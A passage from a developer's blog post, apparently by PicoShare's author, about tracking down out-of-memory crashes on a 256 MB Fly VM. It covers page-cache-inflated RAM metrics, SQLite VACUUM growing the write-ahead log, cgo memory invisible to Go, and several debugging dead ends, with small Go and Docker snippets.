 &lt;figcaption>&lt;p>My different tools for measuring RAM usage disagreed with one another&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>In particular, Fly&amp;rsquo;s metrics would frequently show RAM maxed out when Go and &lt;code>htop&lt;/code> showed barely any usage. It was frustrating to debug because the further I drilled down, the further RAM measurements diverged from the crash behavior I was observing.&lt;/p>
&lt;p>The game-changing insight came from Andrew Ayer, who pointed out that RAM bloat was likely a red herring:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/picoshare-perf/agwa-tweet.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/picoshare-perf/agwa-tweet_hu_6966adec0c9a8ff3.png 300w, https://mtlynch.io/notes/picoshare-perf/agwa-tweet_hu_5b234737ce1fe3fc.png 600w, https://mtlynch.io/notes/picoshare-perf/agwa-tweet.png 698w'
 src="https://mtlynch.io/notes/picoshare-perf/agwa-tweet.png" alt="Also, I think you&amp;#39;re looking at the wrong metric here. It&amp;#39;s not a bad thing for the VM to use a lot of RAM, if that RAM is being used for the page cache. It&amp;#39;s only an issue if the Go process gets OOM killed." loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Kurt Mackey, Fly&amp;rsquo;s CEO, popped into the thread to confirm Andrew&amp;rsquo;s hypothesis:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://twitter.com/mrkurt/status/1553768082354601985">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/picoshare-perf/mrkurt-cache_hu_da0ecdd0708830d2.png 300w, https://mtlynch.io/notes/picoshare-perf/mrkurt-cache_hu_b2d4a1f6d07d30c6.png 600w, https://mtlynch.io/notes/picoshare-perf/mrkurt-cache.png 698w'
 src="https://mtlynch.io/notes/picoshare-perf/mrkurt-cache.png" alt="This is the page cache usage for your -dbg app over the last 3 hours. Page cache shows as usage in our UI, but it&amp;#39;s almost the same as free memory. It should be evicted when there&amp;#39;s memory pressure." loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>So, Fly&amp;rsquo;s memory metrics included the page cache, but the VM should reclaim that RAM if running applications needed it.&lt;/p>
&lt;p>This was a huge realization. Because of the difficulty of causing out of memory crashes, I&amp;rsquo;d used RAM bloat as an approximation for the crashes. But RAM bloat is fine as long as the VM still has enough memory to keep my processes running.&lt;/p>
&lt;p>I had to reevaluate everything now. When I dismissed other fixes, had it been because they caused harmless RAM bloat? Or did I observe actual crashes?&lt;/p>
&lt;h3 id="re-examining-sqlite-transactions">Re-examining SQLite transactions&lt;/h3>
&lt;p>Given what Andrew Ayer said about RAM bloat, I revisited PicoShare&amp;rsquo;s SQLite transactions. When I tried the implementation with no transactions, did I see crashes or just RAM bloat? I couldn&amp;rsquo;t remember.&lt;/p>
&lt;p>I tried running the transactionless implementation again. Sure enough, RAM bloated but PicoShare kept running. I uploaded three 618 MB files in parallel, and every upload succeeded with PicoShare continuing to serve HTTP requests.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/picoshare-perf/success.png">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/picoshare-perf/success_hu_64337fb52a650c8d.png 300w, https://mtlynch.io/notes/picoshare-perf/success_hu_4ae00c11d7bcb06a.png 600w, https://mtlynch.io/notes/picoshare-perf/success_hu_36e3b78f379d4963.png 800w, https://mtlynch.io/notes/picoshare-perf/success_hu_4ef0599096717de3.png 1200w, https://mtlynch.io/notes/picoshare-perf/success.png 1429w'
 src="https://mtlynch.io/notes/picoshare-perf/success.png" alt="Screenshot of three parallel PicoShare uploads succeeding without crashes" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>It worked! I&amp;rsquo;d finally gotten to the bottom of the performance issues.&lt;/p>
&lt;p>Or so I thought&amp;hellip;&lt;/p>
&lt;p>I left my server running overnight, and when I checked it the next morning, it had failed with the same out of memory crash.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/picoshare-perf/oom-kill-overnight.png">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/picoshare-perf/oom-kill-overnight_hu_5fa2cefd125a2f99.png 300w, https://mtlynch.io/notes/picoshare-perf/oom-kill-overnight_hu_1d95911f60c665a8.png 600w, https://mtlynch.io/notes/picoshare-perf/oom-kill-overnight_hu_dcbc047b3d31f33b.png 800w, https://mtlynch.io/notes/picoshare-perf/oom-kill-overnight.png 861w'
 src="https://mtlynch.io/notes/picoshare-perf/oom-kill-overnight.png" alt="Screenshot of log showing &amp;#39;Process appears to have been OOM killed!&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="eliminating-sqlite-vacuuming">Eliminating SQLite vacuuming&lt;/h3>
&lt;p>I immediately suspected that the overnight crash was related to the &lt;a href="https://www.sqlite.org/lang_vacuum.html">SQLite &lt;code>VACUUM&lt;/code> command&lt;/a>, which compresses the database file to reclaim unused disk space.&lt;/p>
&lt;p>Nobody was using the PicoShare server when it crashed, but it did line up with PicoShare&amp;rsquo;s scheduled database maintenance. Every seven hours, PicoShare removes expired entries from the database and performs a &lt;code>VACUUM&lt;/code> to reclaim unused disk space.&lt;/p>
&lt;p>I tested running the &lt;code>VACUUM&lt;/code> command on my server and saw that it did indeed reduce the size of my main &lt;code>.db&lt;/code> file, but it was increasing the size of the &lt;a href="https://sqlite.org/wal.html">SQLite write-ahead log&lt;/a>.&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 250px">



 &lt;a href="https://mtlynch.io/notes/picoshare-perf/vacuum-bloat.png">
 &lt;img
 
 sizes="(min-width: 768px) 250px, 98vw"
 srcset='https://mtlynch.io/notes/picoshare-perf/vacuum-bloat_hu_6c7dc29363768efc.png 300w, https://mtlynch.io/notes/picoshare-perf/vacuum-bloat.png 356w'
 src="https://mtlynch.io/notes/picoshare-perf/vacuum-bloat.png" alt="store.db-wal increasing in size by 310 MB after each call to sqlite3 /data/store.db &amp;#39;VACUUM&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>At this point, Ben asked me why I need to &lt;code>VACUUM&lt;/code> at all:&lt;/p>
&lt;blockquote class="twitter-tweet" data-dnt="true">&lt;p lang="en" dir="ltr">What do you need to VACUUM for? The database size may not shrink but those unused pages will be used again later.&lt;/p>&amp;mdash; Ben Johnson (@benbjohnson) &lt;a href="https://x.com/benbjohnson/status/1556003355901603841?ref_src=twsrc%5Etfw">August 6, 2022&lt;/a>&lt;/blockquote>
&lt;script async src="https://platform.x.com/widgets.js" charset="utf-8">&lt;/script>


&lt;p>Yeah, why &lt;em>am&lt;/em> I doing that?&lt;/p>
&lt;p>When I first launched PicoShare, users complained that it wasn&amp;rsquo;t giving back disk space after they deleted files. It didn&amp;rsquo;t affect me because I run PicoShare on a Fly VM with a fixed disk volume, so it doesn&amp;rsquo;t matter how much of the disk I use. But it was easy enough to add in the periodic &lt;code>VACUUM&lt;/code>, &lt;a href="https://github.com/mtlynch/picoshare/pull/212">so I did&lt;/a>.&lt;/p>
&lt;p>After thinking it over, I decided to change PicoShare&amp;rsquo;s behavior so that &lt;code>VACUUM&lt;/code> is off by default, but users can enable it &lt;a href="https://github.com/mtlynch/picoshare#command-line-flags">with a command-line flag&lt;/a>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>dbPath := flag.&lt;span style="color:#447fcf">String&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;db&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;data/store.db&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;path to database&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>vacuumDb := flag.&lt;span style="color:#447fcf">Bool&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;vacuum&amp;#34;&lt;/span>, &lt;span style="color:#6ab825;font-weight:bold">false&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;vacuum database periodically to reclaim disk space&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>flag.&lt;span style="color:#447fcf">Parse&lt;/span>()
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="success-picoshare-running-on-256-mb-of-ram">Success: PicoShare running on 256 MB of RAM&lt;/h3>
&lt;p>With &lt;code>VACUUM&lt;/code> disabled by default and my other performance fixes in place, PicoShare was finally running stable with low RAM.&lt;/p>
&lt;p>I ran PicoShare for 24 hours without any crashes on a Fly VM with just 256 MB of RAM.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/picoshare-perf/256-mb-ram.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/picoshare-perf/256-mb-ram_hu_63fbaebac464075a.png 300w, https://mtlynch.io/notes/picoshare-perf/256-mb-ram_hu_6e9c1349812d9cb8.png 600w, https://mtlynch.io/notes/picoshare-perf/256-mb-ram_hu_e1d2ae64cd16247e.png 800w, https://mtlynch.io/notes/picoshare-perf/256-mb-ram.png 996w'
 src="https://mtlynch.io/notes/picoshare-perf/256-mb-ram.png" alt="Fly dashboard showing PicoShare has 256 RAM" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 918px">



 &lt;a href="https://mtlynch.io/notes/picoshare-perf/cronitor-checks.png">
 &lt;img
 
 sizes="(min-width: 768px) 918px, 98vw"
 srcset='https://mtlynch.io/notes/picoshare-perf/cronitor-checks_hu_503a8b3f00dd3568.png 300w, https://mtlynch.io/notes/picoshare-perf/cronitor-checks_hu_a55b80830fc02e82.png 600w, https://mtlynch.io/notes/picoshare-perf/cronitor-checks_hu_71364823fb5653af.png 800w, https://mtlynch.io/notes/picoshare-perf/cronitor-checks.png 918w'
 src="https://mtlynch.io/notes/picoshare-perf/cronitor-checks.png" alt="Uptime checks showing 100% availability" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>100% uptime over the last 24 hours&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="other-lessons-learned">Other lessons learned&lt;/h2>
&lt;p>In addition to what I learned above, I also picked up some useful side lessons in this debugging quest.&lt;/p>
&lt;h3 id="optimize-your-build-test-loop">Optimize your build-test loop&lt;/h3>
&lt;p>One thing I wish I&amp;rsquo;d done earlier was to optimize my build-test loop. To test any hypothesis, my process was:&lt;/p>
&lt;ol>
&lt;li>Deploy my changes to Fly (2-3 minutes)&lt;/li>
&lt;li>Upload a large file (1-2 minutes)&lt;/li>
&lt;li>Wait for Fly&amp;rsquo;s RAM metrics to catch up (30-60 seconds)&lt;/li>
&lt;/ol>
&lt;p>So, that&amp;rsquo;s up to six minutes just to test any change, and each step required manual work. And that&amp;rsquo;s not even counting time to write the code changes.&lt;/p>
&lt;p>I had originally tried running PicoShare in a Docker container with limited RAM, but it never crashed.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">RAM_LIMIT&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;64m&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">PORT&lt;/span>=&lt;span style="color:#3677a9">3001&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">PS_SHARED_SECRET&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;somesecretpass&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker run &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --memory &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">RAM_LIMIT&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --env &lt;span style="color:#ed9d13">&amp;#34;PORT=&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">PORT&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --env &lt;span style="color:#ed9d13">&amp;#34;PS_SHARED_SECRET=&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">PS_SHARED_SECRET&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --publish &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">PORT&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">:&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">PORT&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/tcp&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --name picoshare &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> mtlynch/picoshare:1.1.7
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ docker stats
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>CONTAINER ID NAME CPU % MEM USAGE / LIMIT MEM % NET I/O BLOCK I/O PIDS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>1ababd398113 picoshare 3.82% 63.68MiB / 64MiB 99.50% 278MB / 208MB 6.09GB / 7.1MB &lt;span style="color:#3677a9">21&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I still don&amp;rsquo;t understand why PicoShare behaves differently under Docker than a real VM, but my best guess is that Docker isn&amp;rsquo;t really restricting RAM usage as tightly as a VM.&lt;/p>
&lt;p>When Dan Wilhelm reported how much progress he&amp;rsquo;d made by running PicoShare locally and observing RAM usage, it made me realize how much time I was wasting by deploying to Fly for every change. I tried running PicoShare on my home VM server, but it never crashed or bloated RAM the way it did on Fly.&lt;/p>
&lt;p>What eventually worked was &lt;a href="https://github.com/mtlynch/picoshare-fly-debug">creating my own development environment on Fly&lt;/a>. I wrote a &lt;a href="https://github.com/mtlynch/picoshare-fly-debug/blob/4779b55500e59ac984e9f9abc379bfd7f3ace43a/Dockerfile">Dockerfile&lt;/a> that had the PicoShare source and some dev tools and deployed that to Fly. From there, I could use &lt;code>fly ssh console&lt;/code> to open a shell on my server and then test code changes quickly.&lt;/p>
&lt;p>It still wasn&amp;rsquo;t super fast because there&amp;rsquo;s about 30 seconds of latency before Fly&amp;rsquo;s RAM metrics update, but it was a big improvement over having to deploy each change from scratch.&lt;/p>
&lt;h3 id="use-descriptive-git-branches-and-commit-messages-to-record-notes">Use descriptive git branches and commit messages to record notes&lt;/h3>
&lt;p>One useful technique I discovered during this investigation was to test each hypothesis in its own git branch and then record the results with a commit message:&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 532px">



 &lt;a href="https://mtlynch.io/notes/picoshare-perf/named-branches.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 532px, 98vw"
 srcset='https://mtlynch.io/notes/picoshare-perf/named-branches_hu_9ca3a4b44889f04.png 300w, https://mtlynch.io/notes/picoshare-perf/named-branches.png 530w'
 src="https://mtlynch.io/notes/picoshare-perf/named-branches.png" alt="Branch repro-no-tx has commit name &amp;#39;Working - no OOM crashes with 3x parallel 600 MB uploads&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>With so many different hypotheses flying around, it was difficult to remember what state the code was in when I tested each idea. For example, at one point, I was seeing crashes due to a new bug I had introduced while debugging:&lt;/p>
&lt;blockquote class="twitter-tweet" data-dnt="true">&lt;p lang="en" dir="ltr">Speaking of forgetting that 1&amp;lt;&amp;lt;32 is big, that explains my earlier confusion with exhausting memory with readAndDiscard &lt;a href="https://t.co/IslzkdV7Gl">https://t.co/IslzkdV7Gl&lt;/a>&lt;/p>&amp;mdash; Michael Lynch (@deliberatecoder) &lt;a href="https://x.com/deliberatecoder/status/1552801134913458176?ref_src=twsrc%5Etfw">July 28, 2022&lt;/a>&lt;/blockquote>
&lt;script async src="https://platform.x.com/widgets.js" charset="utf-8">&lt;/script>


&lt;p>Having a record of what state the code was in and what I did to test it helped me organize my thoughts and avoid duplicating effort.&lt;/p>
&lt;h3 id="gos-measurement-tools-cant-see-memory-allocations-in-cgo">Go&amp;rsquo;s measurement tools can&amp;rsquo;t see memory allocations in cgo&lt;/h3>
&lt;p>One of my earliest debugging steps was adding a page to PicoShare that showed some of the RAM metrics from &lt;code>runtime.ReadMemStats&lt;/code> (I later realized that &lt;code>net/http/pprof&lt;/code> &lt;a href="#using-profiling-tools-to-identify-ram-bloat">did this better&lt;/a>).&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 485px">



 &lt;a href="https://mtlynch.io/notes/picoshare-perf/debug-page.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 485px, 98vw"
 srcset='https://mtlynch.io/notes/picoshare-perf/debug-page_hu_f53a8be0f016994a.png 300w, https://mtlynch.io/notes/picoshare-perf/debug-page.png 483w'
 src="https://mtlynch.io/notes/picoshare-perf/debug-page.png" alt="PicoShare debug page showing Alloc: 96.47 MB, TotalAlloc: 395.47 MB" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>James Tucker pointed out that this measurement would exclude any resources I allocated through cgo:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/picoshare-perf/raggi-cgo.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/picoshare-perf/raggi-cgo_hu_e01486960d717f9a.png 300w, https://mtlynch.io/notes/picoshare-perf/raggi-cgo_hu_b0c48ec8b0b18a00.png 600w, https://mtlynch.io/notes/picoshare-perf/raggi-cgo.png 698w'
 src="https://mtlynch.io/notes/picoshare-perf/raggi-cgo.png" alt="are you using sqlite via cgo, or a pure go implementation? a cgo version would allocate memory unknown to the go heap statistics." loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I was indeed using SQLite via cgo. PicoShare uses &lt;a href="https://github.com/mattn/go-sqlite3">mattn/go-sqlite3&lt;/a>, the most popular SQLite library for Go.&lt;/p>
&lt;p>And it makes sense that using cgo prevents Go from showing accurate performance metrics. If you&amp;rsquo;re using Go to call external C code, Go can&amp;rsquo;t track resources in the external code.&lt;/p>
&lt;p>To work around this, I tried using &lt;a href="https://pkg.go.dev/modernc.org/sqlite">modernc.org/sqlite&lt;/a>, a pure Go implementation of SQLite. But for whatever reason, I couldn&amp;rsquo;t see resource leaks with pure Go code either.&lt;/p>
&lt;h3 id="fly-has-a-crazy-fast-disk-performance">Fly has a crazy fast disk performance&lt;/h3>
&lt;p>At one point, commenters on Twitter suggested that I might be exhausting RAM with disk writes. If PicoShare was writing to the Fly VM&amp;rsquo;s disk faster than the disk could write the data to physical media, the data would get queued in RAM.&lt;/p>
&lt;p>To test this theory, I used the &lt;code>fio&lt;/code> disk benchmarking utility, which I&amp;rsquo;d never used before. I thought I was using the tool wrong, because it reported write speeds of 3353 MB/s, which seemed impossibly fast for a cloud VM. For context, that&amp;rsquo;s about 30 times faster than when I tried the same test on &lt;a href="https://mtlynch.io/budget-nas/">my home NAS server&lt;/a>.&lt;/p>
&lt;p>Kurt Mackey confirmed that the measurements were likely correct because Fly&amp;rsquo;s local disks are Enterprise NVMe drives:&lt;/p>
&lt;blockquote class="twitter-tweet" data-dnt="true">&lt;p lang="en" dir="ltr">Enterprise NVMe for the win.&lt;/p>&amp;mdash; kurtle 🐢 (@mrkurt) &lt;a href="https://x.com/mrkurt/status/1552495902190735360?ref_src=twsrc%5Etfw">July 28, 2022&lt;/a>&lt;/blockquote>
&lt;script async src="https://platform.x.com/widgets.js" charset="utf-8">&lt;/script>


&lt;h2 id="dead-ends">Dead ends&lt;/h2>
&lt;p>As much as I wish my investigation was an exercise of strictly increasing progress, I took lots of wrong turns and followed hypotheses that led nowhere. Here are some of those dead ends.&lt;/p>
&lt;h3 id="blaming-litestream">Blaming Litestream&lt;/h3>
&lt;p>The first rule of debugging is to assume the problem is in your code. But I broke that rule here, partially because I dreaded how much work it would be to chase down these bugs.&lt;/p>
&lt;p>That said, there were legitimate reasons to suspect Litestream. Even though PicoShare uses SQLite in a strange way, storing 1 GB of data in SQLite isn&amp;rsquo;t &lt;em>that&lt;/em> strange. Litestream is relatively new and uses SQLite in novel ways, so it wasn&amp;rsquo;t too big a leap to imagine the crashes were coming from Litestream.&lt;/p>
&lt;p>Even though I suspected Litestream, I didn&amp;rsquo;t want to create more work for Ben Johnson, Litestream&amp;rsquo;s maintainer. I knew PicoShare was an unusual use case for Litestream, and I didn&amp;rsquo;t have a simple repro to isolate the problem.&lt;/p>
&lt;p>But then in May, &lt;a href="https://fly.io/blog/all-in-on-sqlite-litestream/">Fly acquired Litestream&lt;/a> and hired Ben to maintain it. Now seemed like the perfect time to bother Ben with this as it concerned both Litestream and Fly!&lt;/p>
&lt;p>I &lt;a href="https://github.com/benbjohnson/litestream/issues/403">filed a bug on Litestream&lt;/a> explaining what I&amp;rsquo;d tried and why I thought the problem was related to Litestream. And then 15 minutes later, I managed to crash PicoShare with Litestream disabled, so I closed the bug.&lt;/p>
&lt;p>That said, filing the issue against Litestream was useful because it forced me to approach the problem rigorously enough to write a detailed bug report. And it also piqued Ben&amp;rsquo;s curiosity, leading him to offer lots of useful advice even after it was clear Litestream wasn&amp;rsquo;t the cause.&lt;/p>
&lt;h3 id="blaming-fly">Blaming Fly&lt;/h3>
&lt;p>When I couldn&amp;rsquo;t reproduce the crashes on my local VMs or under Docker, I started to suspect that the problem was on Fly&amp;rsquo;s end. It seemed unlikely because I wasn&amp;rsquo;t doing anything very exotic, so it would be strange if none of Fly&amp;rsquo;s other users had noticed their deployments dying from RAM starvation.&lt;/p>
&lt;p>Still, I wanted to eliminate Fly as a possibility. I deployed PicoShare to &lt;a href="https://aws.amazon.com/lightsail/">Lightsail&lt;/a>, Amazon&amp;rsquo;s managed Docker container service. They don&amp;rsquo;t have a 256 MB RAM option, so I deployed to a 512 MB instance. Within a few minutes, I was able to reproduce the crash there, eliminating Fly as the culprit:&lt;/p>
&lt;blockquote class="twitter-tweet" data-dnt="true">&lt;p lang="en" dir="ltr">Okay, LightSail crashed also, though the logs won&amp;#39;t admit it. So this confirms the issue isn&amp;#39;t specific to Fly. &lt;a href="https://t.co/Tj1Kl8stkF">pic.twitter.com/Tj1Kl8stkF&lt;/a>&lt;/p>&amp;mdash; Michael Lynch (@deliberatecoder) &lt;a href="https://x.com/deliberatecoder/status/1552466794971107328?ref_src=twsrc%5Etfw">July 28, 2022&lt;/a>&lt;/blockquote>
&lt;script async src="https://platform.x.com/widgets.js" charset="utf-8">&lt;/script>


&lt;h3 id="tmp-is-not-a-ramdisk">/tmp is not a RAMdisk&lt;/h3>
&lt;p>In the Twitter thread, a few commenters suggested that Fly might be mounting its temporary directory as a RAM disk. Go&amp;rsquo;s &lt;code>ParseMultipartForm&lt;/code> function keeps file uploads in the temporary directory, so if Fly mounted the temp directory as a RAM disk, that would explain why regular file uploads exhausted RAM.&lt;/p>
&lt;p>But when I ran &lt;code>lblk&lt;/code>, I didn&amp;rsquo;t see any indications that &lt;code>/tmp&lt;/code> or any other temp directory was a RAM disk. The system just seemed to have regular disks:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ lsblk
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>vda 254:0 &lt;span style="color:#3677a9">0&lt;/span> 128M &lt;span style="color:#3677a9">0&lt;/span> disk
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>vdb 254:16 &lt;span style="color:#3677a9">0&lt;/span> 8G &lt;span style="color:#3677a9">0&lt;/span> disk /
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ du -h /tmp/*
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>149.3M /tmp/multipart-338465586
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>7.66 /tmp/test1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="writing-a-hand-crafted-multipart-form-reader">Writing a hand-crafted multipart form reader&lt;/h3>
&lt;p>It was a red flag that the Go standard library &lt;code>ParseMultipartForm&lt;/code> function seeming to consume more memory than its documented limit. I also noticed that if I called &lt;code>ParseMultipartForm&lt;/code> and discarded the bytes, it also maxed out RAM.&lt;/p>
&lt;p>To see if I could work around issues in &lt;code>ParseMultipartForm&lt;/code>, I tried &lt;a href="https://github.com/mtlynch/picoshare/blob/850b9fa50b9c92c060c9267d22194badb15d11b6/handlers/upload.go#L247L322">writing my own artisanal hand-crafted multipart reader&lt;/a> for my specific scenario.&lt;/p>
&lt;p>Sadly, my multipart reader performed no better than the standard library, but it was fun to play around with multipart data at a lower level.&lt;/p>
&lt;h3 id="throttling-uploads">Throttling uploads&lt;/h3>
&lt;p>I was curious if uploading data more slowly would have any effect on RAM. I tried throttling uploads from the client end by setting Chrome to simulate 3G speeds, but PicoShare had the same behavior.&lt;/p>
&lt;p>I also tried throttling at the server end to reduce speed of writing to disk, but that didn&amp;rsquo;t do anything either.&lt;/p>
&lt;p>I did learn how easy it is to throttle I/O in Go. If you&amp;rsquo;re working with an &lt;a href="https://pkg.go.dev/io#Reader">&lt;code>io.Reader&lt;/code> interface&lt;/a>, you can just wrap a &lt;code>Reader&lt;/code> with a throttled reader like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;github.com/juju/ratelimit&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>throttleRate := &lt;span style="color:#3677a9">1&lt;/span> &amp;lt;&amp;lt; &lt;span style="color:#3677a9">20&lt;/span> &lt;span style="color:#999;font-style:italic">// 1 MB&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>bucket := ratelimit.&lt;span style="color:#447fcf">NewBucketWithRate&lt;/span>(&lt;span style="color:#24909d">float64&lt;/span>(throttleRate), throttleRate)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>throttledReader := ratelimit.&lt;span style="color:#447fcf">Reader&lt;/span>(reader, bucket)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>w := file.&lt;span style="color:#447fcf">NewWriter&lt;/span>(tx, metadata.ID, d.chunkSize)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> _, err := io.&lt;span style="color:#447fcf">Copy&lt;/span>(w, throttledReader); err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> err
